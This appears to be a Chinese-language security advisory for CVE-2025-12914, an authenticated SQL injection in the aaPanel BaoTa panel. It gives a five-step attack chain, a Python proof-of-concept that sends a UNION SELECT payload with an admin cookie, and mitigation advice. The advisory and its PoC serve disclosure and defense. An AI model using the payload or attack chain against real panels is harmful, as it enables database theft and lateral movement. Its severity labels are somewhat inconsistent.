IPBUF安全漏洞报告
English
CVE-2025-12914 CVSS 4.7 中危

CVE-2025-12914: aaPanel BaoTa 11.2.x SQL注入漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-12914
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
aaPanel BaoTa(宝塔面板)

相关标签

SQL注入aaPanel BaoTa宝塔面板Web安全CVE-2025-12914数据库漏洞后端漏洞认证绕过

漏洞概述

CVE-2025-12914是影响aaPanel BaoTa(宝塔面板)11.2.x及之前版本的高危SQL注入漏洞。该漏洞存在于宝塔面板的后端数据库访问功能中,具体位于/database?action=GetDatabaseAccess接口。攻击者可以通过操纵Name参数注入恶意SQL语句,由于该接口需要高权限访问,攻击者需要先获取面板的高权限凭据。漏洞的CVSS评分为4.7,属于中等严重程度,但考虑到SQL注入可能导致数据库敏感信息泄露、数据库被篡改或服务中断,仍需引起高度重视。该漏洞已于2025年11月8日公开披露,且相关利用代码已在互联网传播,厂商已发布11.3.0版本修复此问题。建议使用受影响版本的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该SQL注入漏洞位于aaPanel BaoTa面板的数据库管理模块。具体来说,当用户访问/database?action=GetDatabaseAccess路径时,后端程序会处理Name参数并将其直接拼接到SQL查询语句中,而未对用户输入进行充分的参数化查询或输入验证。攻击者可以通过构造特殊的SQL语句片段,如使用单引号、双破折号或UNION SELECT等SQL语法来绕过前端过滤,实现未授权的数据库操作。由于该接口需要高权限(PR:H)才能访问,攻击者需要先获取宝塔面板的admin或其他高权限账户凭据。一旦成功利用,攻击者可以读取数据库中的敏感信息(如其他服务的数据库密码、用户数据等),修改数据库内容,甚至可能通过数据库的写权限进一步提升权限或执行系统命令。漏洞的利用需要网络可达性(AV:N),攻击复杂度较低(AC:L),但不需要用户交互(UI:N)。

攻击链分析

STEP 1
1. 信息收集
攻击者通过扫描或社工手段确定目标使用aaPanel BaoTa面板,并识别其版本号是否在11.2.x范围内
STEP 2
2. 凭据获取
通过钓鱼、暴力破解、凭据泄露等途径获取宝塔面板的高权限账户凭据(admin或其他管理账户)
STEP 3
3. 构造恶意请求
使用获取的Cookie认证信息,向/database?action=GetDatabaseAccess接口发送包含SQL注入payload的GET请求
STEP 4
4. SQL注入执行
通过Name参数注入UNION SELECT等SQL语句,从数据库中提取敏感信息(如其他数据库密码、用户数据)
STEP 5
5. 数据窃取或权限提升
利用窃取的数据库凭据横向移动到其他系统,或进一步利用获取的信息提升服务器权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12914 SQL Injection PoC for aaPanel BaoTa # Target: /database?action=GetDatabaseAccess def exploit(target_url, cookie, db_name): """ Exploit SQL injection in BaoTa panel's GetDatabaseAccess endpoint Args: target_url: Base URL of BaoTa panel cookie: Valid admin session cookie db_name: Target database name for injection test """ injection_payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" params = { 'action': 'GetDatabaseAccess', 'Name': injection_payload } headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get(f"{target_url}/database", params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {target_url}/database") print(f"[+] Payload: {injection_payload}") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <cookie> <db_name>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:7800 'cookies=xxx' testdb") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

aaPanel BaoTa < 11.3.0
aaPanel BaoTa 11.2.x及之前所有版本

防御指南

临时缓解措施
在无法立即升级的情况下,可以采取以下临时缓解措施:1)使用Web应用防火墙规则拦截包含SQL注入特征的请求;2)临时禁用或限制/database?action=GetDatabaseAccess接口的访问;3)通过nginx或apache配置对SQL关键词进行过滤;4)加强账户安全管理,使用强密码并限制登录IP;5)启用宝塔面板的安全日志监控,及时发现异常访问行为。建议尽快安排升级到11.3.0版本以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表